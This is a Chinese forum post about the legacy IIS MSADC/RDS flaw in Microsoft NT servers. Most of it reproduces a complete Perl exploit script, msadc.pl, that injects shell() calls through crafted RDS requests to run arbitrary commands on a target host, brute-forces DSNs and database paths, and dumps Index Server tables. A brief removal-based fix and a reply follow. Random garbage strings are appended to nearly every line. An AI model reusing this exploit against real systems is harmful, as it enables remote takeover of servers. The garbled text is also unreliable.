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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) A,BEKjR~J  
P'tMu6+)  
涉及程序: ^i'y6J  
Microsoft NT server ]*;F. pZ  
HH8;J66I&  
描述: V7C1FV2  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 C),7- ?  
o@/xPo|  
详细: 62kb2C  
如果你没有时间读详细内容的话,就删除: %LQ/q 3?_  
c:\Program Files\Common Files\System\Msadc\msadcs.dll CCqT tp  
有关的安全问题就没有了。 S;=_;&68?  
S0LszW)e  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 yN\e{;z`  
U -EhPAB@  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 ia4k:\  
关于利用ODBC远程漏洞的描述,请参看: #s2B%X  
3SNL5  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm \84v-VK  
(Z-l/)Q  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 mW4%2fD[  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp t3b@P4c \  
|pW\Ec#(  
这里不再论述。 l>&sIX  
VT=K"`EpQ  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: [w+Q^\%bN  
c+2%rh1  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset V=}1[^  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! S|K}k:v8  
maC>LBa2/  
KDey(DN:  
#将下面这段保存为txt文件,然后: "perl -x 文件名" r,xmEj0E  
ai;\@$ cq  
#!perl ;6m;M63z  
# jN/ j\x'  
# MSADC/RDS 'usage' (aka exploit) script 8_xLl2  
# #3MKH8k&~  
# by rain.forest.puppy s[AA7>]3  
# {'R)4hL  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me X:=c5*0e  
# beta test and find errors! zn)yFnB!TH  
9.&mz}q  
use Socket; use Getopt::Std; v01#>,R  
getopts("e:vd:h:XR", \%args); @`|)Ia<  
E5UcZ7  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; B?6QMC;  
nQ=aLV+'  
if (!defined $args{h} && !defined $args{R}) { Do*n#=  
print qq~ !>g:Si"  
Usage: msadc.pl -h <host> { -d <delay> -X -v } '4u v3)P  
-h <host> = host you want to scan (ip or domain) yn~P{}68  
-d <seconds> = delay between calls, default 1 second #a,9B-X  
-X = dump Index Server path table, if available C6QbBo  
-v = verbose wss?|XCI  
-e = external dictionary file for step 5 *Km7U-BG  
fKkjn4&W  
Or a -R will resume a command session 8;n_TMb  
r:9gf?(&  
~; exit;} [,g~m9  
ebM{OI  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; 0=![fjm  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} 97LpY_sU  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} W`L!N&fB  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); \Tm}mAvK/o  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} m{(+6-8|m  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } "2hh-L7ql  
VKrShI  
if (!defined $args{R}){ $ret = &has_msadc; -:`V<   
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} u#jC#u^M  
` }8&E(<  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" PRr*]$\&Mj  
. "cmd /c "; ][:rLs  
$in=<STDIN>; chomp $in; U[||~FW'  
$command="cmd /c " . $in ; FvXqggfGv  
h-XY4gq/  
if (defined $args{R}) {&load; exit;} '%7 Bxof  
&jf7k <^  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; )[&zCq Dc  
&try_btcustmr; $p$dKH  
f/ahwz  
print "\nStep 2: Trying to make our own DSN..."; xRxy|x[  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; PK:2xN:=  
CL9yEy"V  
print "\nStep 3: Trying known DSNs..."; |g_g8[@`}  
&known_dsn; jk7 0u[\  
o8S"&O ?  
print "\nStep 4: Trying known .mdbs..."; Pe$6s:|NS  
&known_mdb; I%;Jpe  
92[a; a  
if (defined $args{e}){ AW8'RfC.  
print "\nStep 5: Trying dictionary of DSN names..."; 3W&S.$l  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } FFcB54ALTf  
\b8\Ug~t  
print "Sorry Charley...maybe next time?\n"; ;=~Xr"(/z  
exit; =8JB8ZFP  
reiU%C  
############################################################################## |jG~,{  
<hvRP!~<)  
sub sendraw { # ripped and modded from whisker erFv(eaDK  
sleep($delay); # it's a DoS on the server! At least on mine... 5Ec/(-F  
my ($pstr)=@_; Qvqqvk_tv  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || pJ^NA2  
die("Socket problems\n"); 74J@F2g}?  
if(connect(S,pack "SnA4x8",2,80,$target)){ gv.6h{Ut  
select(S); $|=1; ;Yts\4BSM  
print $pstr; my @in=<S>; M$S]}   
select(STDOUT); close(S); IVjU`ij  
return @in; Uems\I0  
} else { die("Can't connect...\n"); }} @;^Y7po6u  
&m'kI  
############################################################################## N4{nG,Mo]  
0b-?q&*_  
sub make_header { # make the HTTP request wpo1  
my $msadc=<<EOT GjT#%GBF  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 GDhM<bVqM*  
User-Agent: ACTIVEDATA PuCc2'#  
Host: $ip WxUxc75  
Content-Length: $clen ,.mBJ SE3  
Connection: Keep-Alive FxW&8 9G  
R: Z_g !h  
ADCClientVersion:01.06 m7jA ,~O  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 gNj7@bX~  
nHst/5dA  
--!ADM!ROX!YOUR!WORLD! D$r Uid  
Content-Type: application/x-varg q31>uF  
Content-Length: $reqlen 3Qn!y\#  
p]gT&[iJ  
EOT F:g=i}7  
; $msadc=~s/\n/\r\n/g; E3l*8F%<3  
return $msadc;} uh3) 0.nR  
I9 64  
############################################################################## = [@)R!3H  
2YBIWR8z  
sub make_req { # make the RDS request w=_Jc8/.  
my ($switch, $p1, $p2)=@_; +pmu2}E.3  
my $req=""; my $t1, $t2, $query, $dsn; )b4$A:  
W6/ @W  
if ($switch==1){ # this is the btcustmr.mdb query R= 5 **  
$query="Select * from Customers where City=" . make_shell(); 2HL9E|h  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . \OwpD,'  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} ig#r4nQ=  
WI[:-cv  
elsif ($switch==2){ # this is general make table query vZAv_8S)  
$query="create table AZZ (B int, C varchar(10))"; MZ4c{@Tg  
$dsn="$p1";} 6^F '|Wh  
4ne5=YY *  
elsif ($switch==3){ # this is general exploit table query 3'I^lc  
$query="select * from AZZ where C=" . make_shell(); [3>GGX[Ic  
$dsn="$p1";} IQ!Fv/I<  
yt0,^*t_  
elsif ($switch==4){ # attempt to hork file info from index server LDj<?'  
$query="select path from scope()"; Djt%r<  
$dsn="Provider=MSIDXS;";} J5p8nmb  
0BU=)Swku  
elsif ($switch==5){ # bad query Ub$n |xn  
$query="select"; #?O &  
$dsn="$p1";} ~2 *9{  
U.0kR/>Z=  
$t1= make_unicode($query); E#%}ZY  
$t2= make_unicode($dsn); n{5NNV6  
$req = "\x02\x00\x03\x00"; ]/2T\w.<  
$req.= "\x08\x00" . pack ("S1", length($t1)); ?8V UO x  
$req.= "\x00\x00" . $t1 ; c/3$AUsuO  
$req.= "\x08\x00" . pack ("S1", length($t2)); #Z,E><t  
$req.= "\x00\x00" . $t2 ; B{6<;u)[  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; kyYLP"oB=  
return $req;} PO-"M)M  
 Gs0H@  
############################################################################## 0"WDH)7hJ  
wFS2P+e;X  
sub make_shell { # this makes the shell() statement A$/\1282  
return "'|shell(\"$command\")|'";} $hrIO+  
}M>r E  
############################################################################## )q~DTR^z-  
eTa y>G  
sub make_unicode { # quick little function to convert to unicode Ww3wsyx  
my ($in)=@_; my $out; (#\pQ51  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } U^lW@u?:  
return $out;} F3U`ueP  
`{K_/Cit  
############################################################################## . )XP\ m\  
JgRYljQi2  
sub rdo_success { # checks for RDO return success (this is kludge) b{M7w  
my (@in) = @_; my $base=content_start(@in); \fWW'  
if($in[$base]=~/multipart\/mixed/){ {d3<W N  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} 8AFczeg[[  
return 0;} kyw/LE3$-  
1eS_ nLFw~  
############################################################################## !vD{Df>  
QfjN"25_  
sub make_dsn { # this makes a DSN for us ,Ds.x@p  
my @drives=("c","d","e","f"); 1=}qBR#scY  
print "\nMaking DSN: "; h11.'Eej`  
foreach $drive (@drives) { ?Ke eHMu  
print "$drive: "; ]88];?KS}  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . <W)u{KS#TY  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" kJ:F *34e=  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); R,2P3lv1v@  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; W;6vpPhg#!  
return 0 if $2 eq "404"; # not found/doesn't exist dP2irC%f8  
if($2 eq "200") { /'.=sH  
foreach $line (@results) { VR{+f7:}  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} 4-GXmC  
} return 0;} '])2k@o@  
6X2PYJJZ  
############################################################################## sJx+8 -  
$:s`4N^  
sub verify_exists { , "0)6=AE  
my ($page)=@_; {XurC}#\  
my @results=sendraw("GET $page HTTP/1.0\n\n"); 58xnB!h\}  
return $results[0];} =WZqQq{  
`6Qdfmk=  
############################################################################## [4&#*@  
Ck =;1sGh  
sub try_btcustmr { ,Tagj`@bHc  
my @drives=("c","d","e","f"); 1nknSw#  
my @dirs=("winnt","winnt35","winnt351","win","windows"); SlLw{Yb7\.  
g9fq5E<G  
foreach $dir (@dirs) { 4\ c,)U}  
print "$dir -> "; # fun status so you can see progress fU3`v\X  
foreach $drive (@drives) { BKa- k!  
print "$drive: "; # ditto ikBYd }5  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; |C%Pjl^YkV  
$reqlenlen=length( "$reqlen" ); 3oZ=k]\  
$clen= 206 + $reqlenlen + $reqlen; .9[45][FK  
tirIgZ  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); o KD/rI  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} s?Uh|BfB  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} qGmNz}4D5  
)}%O>%  
############################################################################## 2?C`4AR[2H  
|WryBzZ>on  
sub odbc_error { /Ss7"*JLe  
my (@in)=@_; my $base; jVgFZ,  
my $base = content_start(@in); ~rr 4ok  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this =VLS/\A  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; hJz):d>Im  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; m9}AG Rj  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; J/!cGr( B~  
return $in[$base+4].$in[$base+5].$in[$base+6];} :1q 4"tv|  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; ^ &/G|  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . &5{xXWJK  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} ;{[>&4  
F(#rQ_z]  
############################################################################## h0Z{,s}  
mnk"Vr` L  
sub verbose { 88"Sai  
my ($in)=@_; +|Hioq* ,t  
return if !$verbose; tGdf/aTjy  
print STDOUT "\n$in\n";} t2" (2  
~n')&u{  
############################################################################## vzel#  
*=ZsqOHwG  
sub save { g[>\4B9t  
my ($p1, $p2, $p3, $p4)=@_; qjAWeS/  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; lJP1XzN_  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; h0oMTiA  
close OUT;} aq+Y7IR_  
qa(>wR"mT  
############################################################################## +QM@VQ  
*rZ^^`4R  
sub load { e7fiGl  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; kL7#W9  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); 0qjXQs}  
@p=<IN>; close(IN); vkS)E0s  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); M}_ i52  
$target= inet_aton($ip) || die("inet_aton problems"); .O*bILU  
print "Resuming to $ip ..."; j#~Jxv%n  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; GBFw+v/|4  
if($p[1]==1) { dLsn\m>  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; t&5%?QyM  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; O?8Ni=]  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); LN l#h  
if (rdo_success(@results)){print "Success!\n";} TvNY:m6.%  
else { print "failed\n"; verbose(odbc_error(@results));}} MC 0TaP  
elsif ($p[1]==3){ rPc7(,o*  
if(run_query("$p[3]")){ @cRZk`|1n  
print "Success!\n";} else { print "failed\n"; }} =z{JgD/  
elsif ($p[1]==4){ IvpcSam'  
if(run_query($drvst . "$p[3]")){ N4;7gSc"  
print "Success!\n"; } else { print "failed\n"; }} }pkj:NT  
exit;} 0w'j+  
4`Nt{  
############################################################################## FLoNE>q  
!|2VWI}  
sub create_table { ;o/>JHGj  
my ($in)=@_; 2M)]!lYy  
$reqlen=length( make_req(2,$in,"") ) - 28; Y $g$x<7  
$reqlenlen=length( "$reqlen" ); +6smsL~<#v  
$clen= 206 + $reqlenlen + $reqlen; Bb&^ {7  
my @results=sendraw(make_header() . make_req(2,$in,"")); &2-L. Xb  
return 1 if rdo_success(@results); s{ V*1$e~  
my $temp= odbc_error(@results); verbose($temp); VN4yn| f/  
return 1 if $temp=~/Table 'AZZ' already exists/; AeIrr*~]B  
return 0;} PqNFyQkl  
sfr(/mp(  
############################################################################## PCd0 ?c   
@ P@c.*}s  
sub known_dsn { ~zm 7?_"@]  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go ,1q_pep~?%  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", k^$+n_  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", `"iY*  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); S1n3(U:m  
6#}93Dgv4  
foreach $dSn (@dsns) { WqxUXH  
print "."; 3QI?[R.  
next if (!is_access("DSN=$dSn")); : "6q,W  
if(create_table("DSN=$dSn")){ K.C> a:J  
print "$dSn successful\n"; j9qREf9)  
if(run_query("DSN=$dSn")){ !>x|7   
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { s#h8%['  
print "Something's borked. Use verbose next time\n";}}} print "\n";} _a_xzv'  
]U[X1W+@  
############################################################################## _!xD8Di#  
bf_I9Z3m  
sub is_access { EG'[`<*h  
my ($in)=@_; )PkNWj6%y  
$reqlen=length( make_req(5,$in,"") ) - 28; e73^#O&Xt  
$reqlenlen=length( "$reqlen" ); |6J ?8y  
$clen= 206 + $reqlenlen + $reqlen; oq-<ob  
my @results=sendraw(make_header() . make_req(5,$in,"")); _ 7oV<  
my $temp= odbc_error(@results); kH*Pn'  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); >idBS  
return 0;} e{({|V '  
I4rPHZ|  
############################################################################## 3 <|`0pt}  
^x*nq3^h\  
sub run_query { D/(L  
my ($in)=@_; M_B:{%4  
$reqlen=length( make_req(3,$in,"") ) - 28; j$fAq\B  
$reqlenlen=length( "$reqlen" ); \u`)kJ5o1  
$clen= 206 + $reqlenlen + $reqlen; < (RC|?  
my @results=sendraw(make_header() . make_req(3,$in,"")); 8$xPex~2  
return 1 if rdo_success(@results); W [[oSqp  
my $temp= odbc_error(@results); verbose($temp); Vi! Q  
return 0;} 3zuF{Q2P<  
,F+B Wot4  
############################################################################## lM\LN^f5*  
N\t1T(C|  
sub known_mdb { 0?7XtC P<  
my @drives=("c","d","e","f","g"); CR4rDh8za  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 1`f_P$&Z_J  
my $dir, $drive, $mdb; oC*ees g_  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; fLN!EDq  
NW$H"}+o  
# this is sparse, because I don't know of many Zr$d20M2A;  
my @sysmdbs=( "\\catroot\\icatalog.mdb", ?{o/I\\  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", [}nK"4T"Ri  
"\\system32\\certmdb.mdb", t$& Qv)  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% <dA8 '7^  
NCeaL-y7  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", 5G}6;UY  
"\\cfusion\\cfapps\\forums\\forums_.mdb", bTmL5}n  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", ;sdN-mb  
"\\cfusion\\cfapps\\security\\realm_.mdb", U3;aLQ*  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", I"L;L?\S  
"\\cfusion\\database\\cfexamples.mdb", 4z7G2  
"\\cfusion\\database\\cfsnippets.mdb",  R)Q 4  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", wn +FTqj  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", hPm>tV2X  
"\\cfusion\\brighttiger\\database\\cleam.mdb", a+41|)pt  
"\\cfusion\\database\\smpolicy.mdb", = Je>`{J  
"\\cfusion\\database\cypress.mdb", Q.-*7h8  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", `cP <}^]  
"\\website\\cgi-win\\dbsample.mdb", ul7o%Hs  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", _68BP)nz>.  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" =?@Q -(bp  
); #these are just 2f,B$-#  
foreach $drive (@drives) {  GrJ#.  
foreach $dir (@dirs){ TT!ET<ciN  
foreach $mdb (@sysmdbs) { @B1{r|-<^  
print "."; rp! LP#*  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ ;Kxbg>U  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; O>r-]0DI[  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ sOFa!bdPW  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; Os),;W0w4  
} else { print "Something's borked. Use verbose next time\n"; }}}}} @_'OyRd8  
A;K(J4y*  
foreach $drive (@drives) { R zR?&J  
foreach $mdb (@mdbs) { ~GB=Nz  
print "."; J07O:cjyu  
if(create_table($drv . $drive . $dir . $mdb)){ <)m%*9{  
print "\n" . $drive . $dir . $mdb . " successful\n"; _uH9XGm  
if(run_query($drv . $drive . $dir . $mdb)){ uZjI?Z.A  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; HQVh+(  
} else { print "Something's borked. Use verbose next time\n"; }}}} GKtS6$1d#  
}   -/{af  
,TC~~EWq  
############################################################################## t\y-T$\\  
``4wX-y  
sub hork_idx { _g|acBF  
print "\nAttempting to dump Index Server tables...\n"; hq_~^/v\  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; Ueyw;Y  
$reqlen=length( make_req(4,"","") ) - 28; z_SagU,\  
$reqlenlen=length( "$reqlen" ); >Wi s.e%b  
$clen= 206 + $reqlenlen + $reqlen; m@qqVRn#)  
my @results=sendraw2(make_header() . make_req(4,"","")); /)#8)"`nT  
if (rdo_success(@results)){ hb^!LtF#Y  
my $max=@results; my $c; my %d; BA+_C]%ZJ  
for($c=19; $c<$max; $c++){ 8[5|_Eh+  
$results[$c]=~s/\x00//g; Dx+ K+(  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; r'aY2n^O  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; B4W\ t{  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; ijZ>:B2:  
$d{"$1$2"}="";} c?6d2jH.  
foreach $c (keys %d){ print "$c\n"; } T!^Mvat  
} else {print "Index server doesn't seem to be installed.\n"; }} `F1dyf!p<  
?ApRJm:T  
############################################################################## i^|@"+  
c~tAvDX  
sub dsn_dict { HhSjR%6HY;  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); y4F^|kS) [  
while(<IN>){ {yq8<?  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; F$Pp]"82'm  
next if (!is_access("DSN=$dSn")); (([I]q  
if(create_table("DSN=$dSn")){ m^tNqJs8  
print "$dSn successful\n"; ~mH+DV3  
if(run_query("DSN=$dSn")){ km>o7V&4G  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { RO oE%%8I  
print "Something's borked. Use verbose next time\n";}}} ,IjdO(?TC  
print "\n"; close(IN);} < 5ZJ]W  
6E+=Xi  
############################################################################## Q4%IxR?  
YvTA+yL  
sub sendraw2 { # ripped and modded from whisker @d)a~[pm  
sleep($delay); # it's a DoS on the server! At least on mine... Fk$@Yy+}e  
my ($pstr)=@_; .cR*P<3O  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || h)o]TV  
die("Socket problems\n"); ryEvmWYu  
if(connect(S,pack "SnA4x8",2,80,$target)){ iQqbzOY  
print "Connected. Getting data"; k,]{NO   
open(OUT,">raw.out"); my @in; jOl1_  
select(S); $|=1; print $pstr; bj.]o*u-  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} ~ &~C#yjg1  
close(OUT); select(STDOUT); close(S); return @in; s1=u{ET  
} else { die("Can't connect...\n"); }} # U`&jBU  
~ 7BX@?  
############################################################################## XI g|G}i.  
7xDN.o*>  
sub content_start { # this will take in the server headers $K=z  
my (@in)=@_; my $c; g =\13# F  
for ($c=1;$c<500;$c++) { yHw!#gWM  
if($in[$c] =~/^\x0d\x0a/){ `q1}6U/k  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } *]9XDc]{j1  
else { return $c+1; }}} v<fWc971  
return -1;} # it should never get here actually 2$Y3[$  
},3R%?8 9%  
############################################################################## "0Y&~q[=  
zf")|9j  
sub funky { 9oD#t~+F4  
my (@in)=@_; my $error=odbc_error(@in); #ZwY?T x  
if($error=~/ADO could not find the specified provider/){ V,'FlU  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; ^ N_`^m  
exit;} k7[)g]u  
if($error=~/A Handler is required/){ m-#d8sD2C  
print "\nServer has custom handler filters (they most likely are patched)\n"; | &\^n2`>  
exit;} WFks|D:sB  
if($error=~/specified Handler has denied Access/){ +{bh  
print "\nServer has custom handler filters (they most likely are patched)\n"; <v-92?  
exit;}} 8Nv-/VQ/b  
4w2L?PDMi  
############################################################################## *Ag,kW"  
p!V) 55J*  
sub has_msadc { ix+x3OCip  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); IT7:QEfKU  
my $base=content_start(@results); 2f /bEpi  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); dR?5$V(  
return 0;} q .)^B@}_  
n/:Z{  
######################## _c,&\ wl$  
&<OMGGQ[h  
,7/\&X<`B  
解决方案: 2}1!WIin  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll uFa-QG^Y{  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 ,(zcl$A[  
/<G yg7o0  
拿出来充数 哈哈
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